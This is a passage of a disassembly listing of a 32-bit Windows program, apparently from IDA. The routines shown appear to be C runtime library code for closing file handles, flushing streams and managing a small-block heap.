		pop	ecx
		push	0FFh
		call	ds:dword_427068	; ExitProcess
		retn
sub_41E11E	endp


; =============== S U B	R O U T	I N E =======================================



sub_41E142	proc near		; CODE XREF: sub_41B90B+2Ap
					; sub_423896+290p

arg_0		= dword	ptr  4

		push	ebx
		push	ebp
		push	esi
		push	edi
		mov	edi, [esp+10h+arg_0]
		cmp	edi, ds:dword_4E1920
		jnb	loc_41E1DC
		mov	eax, edi
		mov	esi, edi
		sar	eax, 5
		and	esi, 1Fh
		lea	ebx, ds:4E1820h[eax*4]
		shl	esi, 3
		mov	eax, [ebx]
		test	byte ptr [eax+esi+4], 1
		jz	short loc_41E1DC
		push	edi
		call	sub_4237BE
		cmp	eax, 0FFFFFFFFh
		pop	ecx
		jz	short loc_41E1BB
		cmp	edi, 1
		jz	short loc_41E189
		cmp	edi, 2
		jnz	short loc_41E19F


loc_41E189:				; CODE XREF: sub_41E142+40j
		push	2
		call	sub_4237BE
		push	1
		mov	ebp, eax
		call	sub_4237BE
		pop	ecx
		cmp	eax, ebp
		pop	ecx
		jz	short loc_41E1BB


loc_41E19F:				; CODE XREF: sub_41E142+45j
		push	edi
		call	sub_4237BE
		pop	ecx
		push	eax
		call	ds:dword_42706C	; CloseHandle
		test	eax, eax
		jnz	short loc_41E1BB
		call	ds:dword_42708C	; RtlGetLastWin32Error
		mov	ebp, eax
		jmp	short loc_41E1BD
; ---------------------------------------------------------------------------


loc_41E1BB:				; CODE XREF: sub_41E142+3Bj
					; sub_41E142+5Bj ...
		xor	ebp, ebp


loc_41E1BD:				; CODE XREF: sub_41E142+77j
		push	edi
		call	sub_423744
		mov	eax, [ebx]
		pop	ecx
		and	byte ptr [eax+esi+4], 0
		test	ebp, ebp
		jz	short loc_41E1D8
		push	ebp
		call	sub_420244
		pop	ecx
		jmp	short loc_41E1ED
; ---------------------------------------------------------------------------


loc_41E1D8:				; CODE XREF: sub_41E142+8Bj
		xor	eax, eax
		jmp	short loc_41E1F0
; ---------------------------------------------------------------------------


loc_41E1DC:				; CODE XREF: sub_41E142+Ej
					; sub_41E142+2Fj
		and	ds:dword_4E14FC, 0
		mov	ds:dword_4E14F8, 9


loc_41E1ED:				; CODE XREF: sub_41E142+94j
		or	eax, 0FFFFFFFFh


loc_41E1F0:				; CODE XREF: sub_41E142+98j
		pop	edi
		pop	esi
		pop	ebp
		pop	ebx
		retn
sub_41E142	endp


; =============== S U B	R O U T	I N E =======================================



sub_41E1F5	proc near		; CODE XREF: sub_41B90B+22p

arg_0		= dword	ptr  4

		push	esi
		mov	esi, [esp+4+arg_0]
		mov	eax, [esi+0Ch]
		test	al, 83h
		jz	short loc_41E21E
		test	al, 8
		jz	short loc_41E21E
		push	dword ptr [esi+8]
		call	sub_41B961
		and	word ptr [esi+0Ch], 0FBF7h
		xor	eax, eax
		pop	ecx
		mov	[esi], eax
		mov	[esi+8], eax
		mov	[esi+4], eax


loc_41E21E:				; CODE XREF: sub_41E1F5+Aj
					; sub_41E1F5+Ej
		pop	esi
		retn
sub_41E1F5	endp


; =============== S U B	R O U T	I N E =======================================



sub_41E220	proc near		; CODE XREF: sub_41E2C0+2Dp
					; sub_41E2C0+48p

arg_0		= dword	ptr  4

		push	esi
		mov	esi, [esp+4+arg_0]
		test	esi, esi
		jnz	short loc_41E232
		push	esi
		call	sub_41E2C0
		pop	ecx
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_41E232:				; CODE XREF: sub_41E220+7j
		push	esi
		call	sub_41E25B
		test	eax, eax
		pop	ecx
		jz	short loc_41E242
		or	eax, 0FFFFFFFFh
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_41E242:				; CODE XREF: sub_41E220+1Bj
		test	byte ptr [esi+0Dh], 40h
		jz	short loc_41E257
		push	dword ptr [esi+10h]
		call	sub_4237FB
		neg	eax
		pop	ecx
		pop	esi
		sbb	eax, eax
		retn
; ---------------------------------------------------------------------------


loc_41E257:				; CODE XREF: sub_41E220+26j
		xor	eax, eax
		pop	esi
		retn
sub_41E220	endp


; =============== S U B	R O U T	I N E =======================================



sub_41E25B	proc near		; CODE XREF: sub_41B90B+1Ap
					; seg000:0041D8F4p ...

arg_0		= dword	ptr  4

		push	ebx
		push	esi
		mov	esi, [esp+8+arg_0]
		xor	ebx, ebx
		push	edi
		mov	eax, [esi+0Ch]
		mov	ecx, eax
		and	ecx, 3
		cmp	cl, 2
		jnz	short loc_41E2A8
		test	ax, 108h
		jz	short loc_41E2A8
		mov	eax, [esi+8]
		mov	edi, [esi]
		sub	edi, eax
		test	edi, edi
		jle	short loc_41E2A8
		push	edi
		push	eax
		push	dword ptr [esi+10h]
		call	sub_42280E
		add	esp, 0Ch
		cmp	eax, edi
		jnz	short loc_41E2A1
		mov	eax, [esi+0Ch]
		test	al, 80h
		jz	short loc_41E2A8
		and	al, 0FDh
		mov	[esi+0Ch], eax
		jmp	short loc_41E2A8
; ---------------------------------------------------------------------------


loc_41E2A1:				; CODE XREF: sub_41E25B+36j
		or	dword ptr [esi+0Ch], 20h
		or	ebx, 0FFFFFFFFh


loc_41E2A8:				; CODE XREF: sub_41E25B+14j
					; sub_41E25B+1Aj ...
		mov	eax, [esi+8]
		and	dword ptr [esi+4], 0
		mov	[esi], eax
		pop	edi
		mov	eax, ebx
		pop	esi
		pop	ebx
		retn
sub_41E25B	endp


; =============== S U B	R O U T	I N E =======================================



sub_41E2B7	proc near		; CODE XREF: sub_422608p
		push	1
		call	sub_41E2C0
		pop	ecx
		retn
sub_41E2B7	endp


; =============== S U B	R O U T	I N E =======================================



sub_41E2C0	proc near		; CODE XREF: sub_41E220+Ap
					; sub_41E2B7+2p

arg_0		= dword	ptr  4

		push	ebx
		push	esi
		push	edi
		xor	esi, esi
		xor	ebx, ebx
		xor	edi, edi
		cmp	ds:dword_4E2940, esi
		jle	short loc_41E31E


loc_41E2D1:				; CODE XREF: sub_41E2C0+5Cj
		mov	eax, ds:dword_4E1924
		mov	eax, [eax+esi*4]
		test	eax, eax
		jz	short loc_41E315
		mov	ecx, [eax+0Ch]
		test	cl, 83h
		jz	short loc_41E315
		cmp	[esp+0Ch+arg_0], 1
		jnz	short loc_41E2FB
		push	eax
		call	sub_41E220
		cmp	eax, 0FFFFFFFFh
		pop	ecx
		jz	short loc_41E315
		inc	ebx
		jmp	short loc_41E315
; ---------------------------------------------------------------------------


loc_41E2FB:				; CODE XREF: sub_41E2C0+2Aj
		cmp	[esp+0Ch+arg_0], 0
		jnz	short loc_41E315
		test	cl, 2
		jz	short loc_41E315
		push	eax
		call	sub_41E220
		cmp	eax, 0FFFFFFFFh
		pop	ecx
		jnz	short loc_41E315
		or	edi, eax


loc_41E315:				; CODE XREF: sub_41E2C0+1Bj
					; sub_41E2C0+23j ...
		inc	esi
		cmp	esi, ds:dword_4E2940
		jl	short loc_41E2D1


loc_41E31E:				; CODE XREF: sub_41E2C0+Fj
		cmp	[esp+0Ch+arg_0], 1
		mov	eax, ebx
		jz	short loc_41E329
		mov	eax, edi


loc_41E329:				; CODE XREF: sub_41E2C0+65j
		pop	edi
		pop	esi
		pop	ebx
		retn
sub_41E2C0	endp


; =============== S U B	R O U T	I N E =======================================



sub_41E32D	proc near		; CODE XREF: seg000:0041E05Dp

arg_0		= dword	ptr  4

		xor	eax, eax
		push	0
		cmp	[esp+4+arg_0], eax
		push	1000h
		setz	al
		push	eax
		call	ds:dword_4271BC	; HeapCreate
		test	eax, eax
		mov	ds:dword_4E2B80, eax
		jz	short loc_41E362
		call	sub_41E369
		test	eax, eax
		jnz	short loc_41E365
		push	ds:dword_4E2B80
		call	ds:dword_4271B8	; HeapDestroy


loc_41E362:				; CODE XREF: sub_41E32D+1Ej
		xor	eax, eax
		retn
; ---------------------------------------------------------------------------


loc_41E365:				; CODE XREF: sub_41E32D+27j
		push	1
		pop	eax
		retn
sub_41E32D	endp


; =============== S U B	R O U T	I N E =======================================



sub_41E369	proc near		; CODE XREF: sub_41E32D+20p
		push	140h
		push	0
		push	ds:dword_4E2B80
		call	ds:dword_427148	; RtlAllocateHeap
		test	eax, eax
		mov	ds:dword_4E2B7C, eax
		jnz	short loc_41E386
		retn
; ---------------------------------------------------------------------------


loc_41E386:				; CODE XREF: sub_41E369+1Aj
		and	ds:dword_4E2B74, 0
		and	ds:dword_4E2B78, 0
		push	1
		mov	ds:dword_4E2B70, eax
		mov	ds:dword_4E2B68, 10h
		pop	eax
		retn
sub_41E369	endp


; =============== S U B	R O U T	I N E =======================================



sub_41E3A7	proc near		; CODE XREF: sub_41B961+Ap
					; sub_41BA78+3Dp ...

arg_0		= dword	ptr  4

		mov	eax, ds:dword_4E2B78
		lea	ecx, [eax+eax*4]
		mov	eax, ds:dword_4E2B7C
		lea	ecx, [eax+ecx*4]


loc_41E3B7:				; CODE XREF: sub_41E3A7+26j
		cmp	eax, ecx
		jnb	short loc_41E3CF
		mov	edx, [esp+arg_0]
		sub	edx, [eax+0Ch]
		cmp	edx, 100000h
		jb	short locret_41E3D1
		add	eax, 14h
		jmp	short loc_41E3B7
; ---------------------------------------------------------------------------


loc_41E3CF:				; CODE XREF: sub_41E3A7+12j
		xor	eax, eax

locret_41E3D1:				; CODE XREF: sub_41E3A7+21j
		retn
sub_41E3A7	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41E3D2	proc near		; CODE XREF: sub_41B961+16p
					; sub_41BA78+89p ...

var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 14h
		mov	edx, [ebp+arg_4]
		mov	ecx, [ebp+arg_0]
		push	ebx
		push	esi
		mov	eax, [ecx+10h]
		mov	esi, edx
		sub	esi, [ecx+0Ch]
		mov	ebx, [edx-4]
		add	edx, 0FFFFFFFCh
		push	edi
		shr	esi, 0Fh
		mov	ecx, esi
		mov	edi, [edx-4]
		imul	ecx, 204h
		dec	ebx
		mov	[ebp+var_4], edi
		lea	ecx, [ecx+eax+144h]
		mov	[ebp+var_C], ebx
		mov	[ebp+var_10], ecx
		mov	ecx, [ebx+edx]
		test	cl, 1
		mov	[ebp+var_8], ecx
		jnz	short loc_41E498
		sar	ecx, 4
		push	3Fh
		dec	ecx
		pop	edi
		mov	[ebp+arg_4], ecx
		cmp	ecx, edi
		jbe	short loc_41E42A
		mov	[ebp+arg_4], edi


loc_41E42A:				; CODE XREF: sub_41E3D2+53j
		mov	ecx, [ebx+edx+4]
		cmp	ecx, [ebx+edx+8]
		jnz	short loc_41E47C
		mov	ecx, [ebp+arg_4]
		cmp	ecx, 20h
		jnb	short loc_41E458
		mov	edi, 80000000h
		shr	edi, cl
		lea	ecx, [ecx+eax+4]
		not	edi
		and	[eax+esi*4+44h], edi
		dec	byte ptr [ecx]
		jnz	short loc_41E47C
		mov	ecx, [ebp+arg_0]
		and	[ecx], edi
		jmp	short loc_41E47C
; ---------------------------------------------------------------------------


loc_41E458:				; CODE XREF: sub_41E3D2+68j
		add	ecx, 0FFFFFFE0h
		mov	edi, 80000000h
		shr	edi, cl
		mov	ecx, [ebp+arg_4]
		lea	ecx, [ecx+eax+4]
		not	edi
		and	[eax+esi*4+0C4h], edi
		dec	byte ptr [ecx]
		jnz	short loc_41E47C
		mov	ecx, [ebp+arg_0]
		and	[ecx+4], edi


loc_41E47C:				; CODE XREF: sub_41E3D2+60j
					; sub_41E3D2+7Dj ...
		mov	ecx, [ebx+edx+8]
		mov	edi, [ebx+edx+4]
		mov	[ecx+4], edi
		mov	ecx, [ebx+edx+4]
		mov	edi, [ebx+edx+8]
		add	ebx, [ebp+var_8]
		mov	[ecx+8], edi
		mov	[ebp+var_C], ebx


loc_41E498:				; CODE XREF: sub_41E3D2+45j
		mov	edi, ebx
		sar	edi, 4
		dec	edi
		cmp	edi, 3Fh
		jbe	short loc_41E4A6
		push	3Fh
		pop	edi


loc_41E4A6:				; CODE XREF: sub_41E3D2+CFj
		mov	ecx, [ebp+var_4]
		and	ecx, 1
		mov	[ebp+var_14], ecx
		jnz	loc_41E555
		sub	edx, [ebp+var_4]
		mov	ecx, [ebp+var_4]
		sar	ecx, 4
		push	3Fh
		mov	[ebp+var_8], edx
		dec	ecx
		pop	edx
		cmp	ecx, edx
		mov	[ebp+arg_4], ecx
		jbe	short loc_41E4D1
		mov	[ebp+arg_4], edx
		mov	ecx, edx


loc_41E4D1:				; CODE XREF: sub_41E3D2+F8j
		add	ebx, [ebp+var_4]
		mov	edi, ebx
		mov	[ebp+var_C], ebx
		sar	edi, 4
		dec	edi
		cmp	edi, edx
		jbe	short loc_41E4E3
		mov	edi, edx


loc_41E4E3:				; CODE XREF: sub_41E3D2+10Dj
		cmp	ecx, edi
		jz	short loc_41E552
		mov	ecx, [ebp+var_8]
		mov	edx, [ecx+4]
		cmp	edx, [ecx+8]
		jnz	short loc_41E53A
		mov	ecx, [ebp+arg_4]
		cmp	ecx, 20h
		jnb	short loc_41E516
		mov	edx, 80000000h
		shr	edx, cl
		lea	ecx, [ecx+eax+4]
		not	edx
		and	[eax+esi*4+44h], edx
		dec	byte ptr [ecx]
		jnz	short loc_41E53A
		mov	ecx, [ebp+arg_0]
		and	[ecx], edx
		jmp	short loc_41E53A
; ---------------------------------------------------------------------------


loc_41E516:				; CODE XREF: sub_41E3D2+126j
		add	ecx, 0FFFFFFE0h
		mov	edx, 80000000h
		shr	edx, cl
		mov	ecx, [ebp+arg_4]
		lea	ecx, [ecx+eax+4]
		not	edx
		and	[eax+esi*4+0C4h], edx
		dec	byte ptr [ecx]
		jnz	short loc_41E53A
		mov	ecx, [ebp+arg_0]
		and	[ecx+4], edx


loc_41E53A:				; CODE XREF: sub_41E3D2+11Ej
					; sub_41E3D2+13Bj ...
		mov	ecx, [ebp+var_8]
		mov	edx, [ecx+8]
		mov	ecx, [ecx+4]
		mov	[edx+4], ecx
		mov	ecx, [ebp+var_8]
		mov	edx, [ecx+4]
		mov	ecx, [ecx+8]
		mov	[edx+8], ecx


loc_41E552:				; CODE XREF: sub_41E3D2+113j
		mov	edx, [ebp+var_8]


loc_41E555:				; CODE XREF: sub_41E3D2+DDj
		cmp	[ebp+var_14], 0
		jnz	short loc_41E564
		cmp	[ebp+arg_4], edi
		jz	loc_41E5ED


loc_41E564:				; CODE XREF: sub_41E3D2+187j
		mov	ecx, [ebp+var_10]
		lea	ecx, [ecx+edi*8]
		mov	ecx, [ecx+4]
		mov	[edx+4], ecx
		mov	ecx, [ebp+var_10]
		lea	ecx, [ecx+edi*8]
		mov	[edx+8], ecx
		mov	[ecx+4], edx
		mov	ecx, [edx+4]
		mov	[ecx+8], edx
		mov	ecx, [edx+4]
		cmp	ecx, [edx+8]
		jnz	short loc_41E5ED
		mov	cl, [edi+eax+4]
		cmp	edi, 20h
		mov	byte ptr [ebp+arg_4+3],	cl
		inc	cl
		mov	[edi+eax+4], cl
		jnb	short loc_41E5C1
		cmp	byte ptr [ebp+arg_4+3],	0
		jnz	short loc_41E5B0
		mov	ebx, 80000000h
		mov	ecx, edi
		shr	ebx, cl
		mov	ecx, [ebp+arg_0]
		or	[ecx], ebx


loc_41E5B0:				; CODE XREF: sub_41E3D2+1CEj
		mov	ebx, 80000000h
		mov	ecx, edi
		shr	ebx, cl
		lea	eax, [eax+esi*4+44h]
		or	[eax], ebx
		jmp	short loc_41E5EA
; ---------------------------------------------------------------------------


loc_41E5C1:				; CODE XREF: sub_41E3D2+1C8j
		cmp	byte ptr [ebp+arg_4+3],	0
		jnz	short loc_41E5D7
		lea	ecx, [edi-20h]
		mov	ebx, 80000000h
		shr	ebx, cl
		mov	ecx, [ebp+arg_0]
		or	[ecx+4], ebx


loc_41E5D7:				; CODE XREF: sub_41E3D2+1F3j
		lea	ecx, [edi-20h]
		mov	edi, 80000000h
		shr	edi, cl
		lea	eax, [eax+esi*4+0C4h]
		or	[eax], edi


loc_41E5EA:				; CODE XREF: sub_41E3D2+1EDj
		mov	ebx, [ebp+var_C]


loc_41E5ED:				; CODE XREF: sub_41E3D2+18Cj
					; sub_41E3D2+1B6j
		mov	eax, [ebp+var_10]
		mov	[edx], ebx
		mov	[ebx+edx-4], ebx
		dec	dword ptr [eax]
		jnz	loc_41E6F8
		mov	eax, ds:dword_4E2B74
		test	eax, eax
		jz	loc_41E6EA
		mov	ecx, ds:dword_4E2B6C
		mov	edi, ds:dword_4271C0
		shl	ecx, 0Fh
		add	ecx, [eax+0Ch]
		mov	ebx, 8000h
		push	4000h
		push	ebx
		push	ecx
		call	edi ; dword_4271C0
		mov	ecx, ds:dword_4E2B6C
		mov	eax, ds:dword_4E2B74
		mov	edx, 80000000h
		shr	edx, cl
		or	[eax+8], edx
		mov	eax, ds:dword_4E2B74
		mov	ecx, ds:dword_4E2B6C
		mov	eax, [eax+10h]
		and	dword ptr [eax+ecx*4+0C4h], 0
		mov	eax, ds:dword_4E2B74
		mov	eax, [eax+10h]
		dec	byte ptr [eax+43h]
		mov	eax, ds:dword_4E2B74
		mov	ecx, [eax+10h]
		cmp	byte ptr [ecx+43h], 0
		jnz	short loc_41E678
		and	dword ptr [eax+4], 0FFFFFFFEh
		mov	eax, ds:dword_4E2B74


loc_41E678:				; CODE XREF: sub_41E3D2+29Bj
		cmp	dword ptr [eax+8], 0FFFFFFFFh
		jnz	short loc_41E6EA
		push	ebx
		push	0
		push	dword ptr [eax+0Ch]
		call	edi ; dword_4271C0
		mov	eax, ds:dword_4E2B74
		push	dword ptr [eax+10h]
		push	0
		push	ds:dword_4E2B80
		call	ds:dword_427144	; RtlFreeHeap
		mov	eax, ds:dword_4E2B78
		mov	edx, ds:dword_4E2B7C
		lea	eax, [eax+eax*4]
		shl	eax, 2
		mov	ecx, eax
		mov	eax, ds:dword_4E2B74
		sub	ecx, eax
		lea	ecx, [ecx+edx-14h]
		push	ecx
		lea	ecx, [eax+14h]
		push	ecx
		push	eax
		call	sub_41D330
		mov	eax, [ebp+arg_0]
		add	esp, 0Ch
		dec	ds:dword_4E2B78
		cmp	eax, ds:dword_4E2B74
		jbe	short loc_41E6DC
		sub	eax, 14h


loc_41E6DC:				; CODE XREF: sub_41E3D2+305j
		mov	ecx, ds:dword_4E2B7C
		mov	ds:dword_4E2B70, ecx
		jmp	short loc_41E6ED
; ---------------------------------------------------------------------------


loc_41E6EA:				; CODE XREF: sub_41E3D2+233j
					; sub_41E3D2+2AAj
		mov	eax, [ebp+arg_0]


loc_41E6ED:				; CODE XREF: sub_41E3D2+316j
		mov	ds:dword_4E2B74, eax
		mov	ds:dword_4E2B6C, esi


loc_41E6F8:				; CODE XREF: sub_41E3D2+226j
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_41E3D2	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41E6FD	proc near		; CODE XREF: sub_41BA78+69p
					; sub_41BC09+Ep ...

var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 14h
		mov	eax, ds:dword_4E2B78
		mov	edx, ds:dword_4E2B7C
		push	ebx
		push	esi
		lea	eax, [eax+eax*4]
		push	edi
		lea	edi, [edx+eax*4]
		mov	eax, [ebp+arg_0]
		mov	[ebp+var_4], edi
		lea	ecx, [eax+17h]
		and	ecx, 0FFFFFFF0h
		mov	[ebp+var_10], ecx
		sar	ecx, 4
		dec	ecx
		cmp	ecx, 20h
		jge	short loc_41E73D
		or	esi, 0FFFFFFFFh
		shr	esi, cl
		or	[ebp+var_8], 0FFFFFFFFh
		mov	[ebp+var_C], esi
		jmp	short loc_41E74D
; ---------------------------------------------------------------------------


loc_41E73D:				; CODE XREF: sub_41E6FD+30j
		add	ecx, 0FFFFFFE0h
		or	eax, 0FFFFFFFFh
		xor	esi, esi
		shr	eax, cl
		mov	[ebp+var_C], esi
		mov	[ebp+var_8], eax


loc_41E74D:				; CODE XREF: sub_41E6FD+3Ej
		mov	eax, ds:dword_4E2B70
		mov	ebx, eax
		cmp	ebx, edi
		mov	[ebp+arg_0], ebx
		jnb	short loc_41E774


loc_41E75B:				; CODE XREF: sub_41E6FD+75j
		mov	ecx, [ebx+4]
		mov	edi, [ebx]
		and	ecx, [ebp+var_8]
		and	edi, esi
		or	ecx, edi
		jnz	short loc_41E774
		add	ebx, 14h
		cmp	ebx, [ebp+var_4]
		mov	[ebp+arg_0], ebx
		jb	short loc_41E75B


loc_41E774:				; CODE XREF: sub_41E6FD+5Cj
					; sub_41E6FD+6Aj
		cmp	ebx, [ebp+var_4]
		jnz	short loc_41E7F2
		mov	ebx, edx


loc_41E77B:				; CODE XREF: sub_41E6FD+96j
		cmp	ebx, eax
		mov	[ebp+arg_0], ebx
		jnb	short loc_41E797
		mov	ecx, [ebx+4]
		mov	edi, [ebx]
		and	ecx, [ebp+var_8]
		and	edi, esi
		or	ecx, edi
		jnz	short loc_41E795
		add	ebx, 14h
		jmp	short loc_41E77B
; ---------------------------------------------------------------------------


loc_41E795:				; CODE XREF: sub_41E6FD+91j
		cmp	ebx, eax


loc_41E797:				; CODE XREF: sub_41E6FD+83j
		jnz	short loc_41E7F2


loc_41E799:				; CODE XREF: sub_41E6FD+ADj
		cmp	ebx, [ebp+var_4]
		jnb	short loc_41E7AF
		cmp	dword ptr [ebx+8], 0
		jnz	short loc_41E7AC
		add	ebx, 14h
		mov	[ebp+arg_0], ebx
		jmp	short loc_41E799
; ---------------------------------------------------------------------------


loc_41E7AC:				; CODE XREF: sub_41E6FD+A5j
		cmp	ebx, [ebp+var_4]


loc_41E7AF:				; CODE XREF: sub_41E6FD+9Fj
		jnz	short loc_41E7D7
		mov	ebx, edx


loc_41E7B3:				; CODE XREF: sub_41E6FD+C6j
		cmp	ebx, eax
		mov	[ebp+arg_0], ebx
		jnb	short loc_41E7C7
		cmp	dword ptr [ebx+8], 0
		jnz	short loc_41E7C5
		add	ebx, 14h
		jmp	short loc_41E7B3
; ---------------------------------------------------------------------------


loc_41E7C5:				; CODE XREF: sub_41E6FD+C1j
		cmp	ebx, eax


loc_41E7C7:				; CODE XREF: sub_41E6FD+BBj
		jnz	short loc_41E7D7
		call	sub_41EA06
		mov	ebx, eax
		test	ebx, ebx
		mov	[ebp+arg_0], ebx
		jz	short loc_41E7EB


loc_41E7D7:				; CODE XREF: sub_41E6FD:loc_41E7AFj
					; sub_41E6FD:loc_41E7C7j
		push	ebx
		call	sub_41EAB7
		pop	ecx
		mov	ecx, [ebx+10h]
		mov	[ecx], eax
		mov	eax, [ebx+10h]
		cmp	dword ptr [eax], 0FFFFFFFFh
		jnz	short loc_41E7F2


loc_41E7EB:				; CODE XREF: sub_41E6FD+D8j
		xor	eax, eax
		jmp	loc_41EA01
; ---------------------------------------------------------------------------


loc_41E7F2:				; CODE XREF: sub_41E6FD+7Aj
					; sub_41E6FD:loc_41E797j ...
		mov	ds:dword_4E2B70, ebx
		mov	eax, [ebx+10h]
		mov	edx, [eax]
		cmp	edx, 0FFFFFFFFh
		mov	[ebp+var_4], edx
		jz	short loc_41E819
		mov	ecx, [eax+edx*4+0C4h]
		mov	edi, [eax+edx*4+44h]
		and	ecx, [ebp+var_8]
		and	edi, esi
		or	ecx, edi
		jnz	short loc_41E850


loc_41E819:				; CODE XREF: sub_41E6FD+106j
		mov	edx, [eax+0C4h]
		mov	esi, [eax+44h]
		and	edx, [ebp+var_8]
		and	esi, [ebp+var_C]
		and	[ebp+var_4], 0
		lea	ecx, [eax+44h]
		or	edx, esi
		mov	esi, [ebp+var_C]
		jnz	short loc_41E84D


loc_41E836:				; CODE XREF: sub_41E6FD+14Ej
		mov	edx, [ecx+84h]
		inc	[ebp+var_4]
		and	edx, [ebp+var_8]
		add	ecx, 4
		mov	edi, esi
		and	edi, [ecx]
		or	edx, edi
		jz	short loc_41E836


loc_41E84D:				; CODE XREF: sub_41E6FD+137j
		mov	edx, [ebp+var_4]


loc_41E850:				; CODE XREF: sub_41E6FD+11Aj
		mov	ecx, edx
		xor	edi, edi
		imul	ecx, 204h
		lea	ecx, [ecx+eax+144h]
		mov	[ebp+var_C], ecx
		mov	ecx, [eax+edx*4+44h]
		and	ecx, esi
		jnz	short loc_41E879
		mov	ecx, [eax+edx*4+0C4h]
		push	20h
		and	ecx, [ebp+var_8]
		pop	edi


loc_41E879:				; CODE XREF: sub_41E6FD+16Dj
					; sub_41E6FD+183j
		test	ecx, ecx
		jl	short loc_41E882
		shl	ecx, 1
		inc	edi
		jmp	short loc_41E879
; ---------------------------------------------------------------------------


loc_41E882:				; CODE XREF: sub_41E6FD+17Ej
		mov	ecx, [ebp+var_C]
		mov	edx, [ecx+edi*8+4]
		mov	ecx, [edx]
		sub	ecx, [ebp+var_10]
		mov	esi, ecx
		mov	[ebp+var_8], ecx
		sar	esi, 4
		dec	esi
		cmp	esi, 3Fh
		jle	short loc_41E89F
		push	3Fh
		pop	esi


loc_41E89F:				; CODE XREF: sub_41E6FD+19Dj
		cmp	esi, edi
		jz	loc_41E9B4
		mov	ecx, [edx+4]
		cmp	ecx, [edx+8]
		jnz	short loc_41E910
		cmp	edi, 20h
		jge	short loc_41E8DF
		mov	ebx, 80000000h
		mov	ecx, edi
		shr	ebx, cl
		mov	ecx, [ebp+var_4]
		lea	edi, [eax+edi+4]
		not	ebx
		mov	[ebp+var_14], ebx
		and	ebx, [eax+ecx*4+44h]
		mov	[eax+ecx*4+44h], ebx
		dec	byte ptr [edi]
		jnz	short loc_41E90D
		mov	ebx, [ebp+arg_0]
		mov	ecx, [ebp+var_14]
		and	[ebx], ecx
		jmp	short loc_41E910
; ---------------------------------------------------------------------------


loc_41E8DF:				; CODE XREF: sub_41E6FD+1B5j
		lea	ecx, [edi-20h]
		mov	ebx, 80000000h
		shr	ebx, cl
		mov	ecx, [ebp+var_4]
		lea	edi, [eax+edi+4]
		lea	ecx, [eax+ecx*4+0C4h]
		not	ebx
		and	[ecx], ebx
		dec	byte ptr [edi]
		mov	[ebp+var_14], ebx
		jnz	short loc_41E90D
		mov	ebx, [ebp+arg_0]
		mov	ecx, [ebp+var_14]
		and	[ebx+4], ecx
		jmp	short loc_41E910
; ---------------------------------------------------------------------------


loc_41E90D:				; CODE XREF: sub_41E6FD+1D6j
					; sub_41E6FD+203j
		mov	ebx, [ebp+arg_0]


loc_41E910:				; CODE XREF: sub_41E6FD+1B0j
					; sub_41E6FD+1E0j ...
		mov	ecx, [edx+8]
		mov	edi, [edx+4]
		cmp	[ebp+var_8], 0
		mov	[ecx+4], edi
		mov	ecx, [edx+4]
		mov	edi, [edx+8]
		mov	[ecx+8], edi
		jz	loc_41E9C0
		mov	ecx, [ebp+var_C]
		mov	edi, [ecx+esi*8+4]
		lea	ecx, [ecx+esi*8]
		mov	[edx+4], edi
		mov	[edx+8], ecx
		mov	[ecx+4], edx
		mov	ecx, [edx+4]
		mov	[ecx+8], edx
		mov	ecx, [edx+4]
		cmp	ecx, [edx+8]
		jnz	short loc_41E9B1
		mov	cl, [esi+eax+4]
		cmp	esi, 20h
		mov	byte ptr [ebp+arg_0+3],	cl
		jge	short loc_41E982
		inc	cl
		cmp	byte ptr [ebp+arg_0+3],	0
		mov	[esi+eax+4], cl
		jnz	short loc_41E970
		mov	edi, 80000000h
		mov	ecx, esi
		shr	edi, cl
		or	[ebx], edi


loc_41E970:				; CODE XREF: sub_41E6FD+266j
		mov	edi, 80000000h
		mov	ecx, esi
		shr	edi, cl
		mov	ecx, [ebp+var_4]
		or	[eax+ecx*4+44h], edi
		jmp	short loc_41E9B1
; ---------------------------------------------------------------------------


loc_41E982:				; CODE XREF: sub_41E6FD+25Aj
		inc	cl
		cmp	byte ptr [ebp+arg_0+3],	0
		mov	[esi+eax+4], cl
		jnz	short loc_41E99B
		lea	ecx, [esi-20h]
		mov	edi, 80000000h
		shr	edi, cl
		or	[ebx+4], edi


loc_41E99B:				; CODE XREF: sub_41E6FD+28Fj
		mov	ecx, [ebp+var_4]
		lea	edi, [eax+ecx*4+0C4h]
		lea	ecx, [esi-20h]
		mov	esi, 80000000h
		shr	esi, cl
		or	[edi], esi


loc_41E9B1:				; CODE XREF: sub_41E6FD+24Ej
					; sub_41E6FD+283j
		mov	ecx, [ebp+var_8]


loc_41E9B4:				; CODE XREF: sub_41E6FD+1A4j
		test	ecx, ecx
		jz	short loc_41E9C3
		mov	[edx], ecx
		mov	[ecx+edx-4], ecx
		jmp	short loc_41E9C3
; ---------------------------------------------------------------------------


loc_41E9C0:				; CODE XREF: sub_41E6FD+229j
		mov	ecx, [ebp+var_8]


loc_41E9C3:				; CODE XREF: sub_41E6FD+2B9j
					; sub_41E6FD+2C1j
		mov	esi, [ebp+var_10]
		add	edx, ecx
		lea	ecx, [esi+1]
		mov	[edx], ecx
		mov	[edx+esi-4], ecx
		mov	esi, [ebp+var_C]
		mov	ecx, [esi]
		test	ecx, ecx
		lea	edi, [ecx+1]
		mov	[esi], edi
		jnz	short loc_41E9F9
		cmp	ebx, ds:dword_4E2B74
		jnz	short loc_41E9F9
		mov	ecx, [ebp+var_4]
		cmp	ecx, ds:dword_4E2B6C
		jnz	short loc_41E9F9
		and	ds:dword_4E2B74, 0


loc_41E9F9:				; CODE XREF: sub_41E6FD+2E0j
					; sub_41E6FD+2E8j ...
		mov	ecx, [ebp+var_4]
		mov	[eax], ecx
		lea	eax, [edx+4]


loc_41EA01:				; CODE XREF: sub_41E6FD+F0j
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_41E6FD	endp


; =============== S U B	R O U T	I N E =======================================



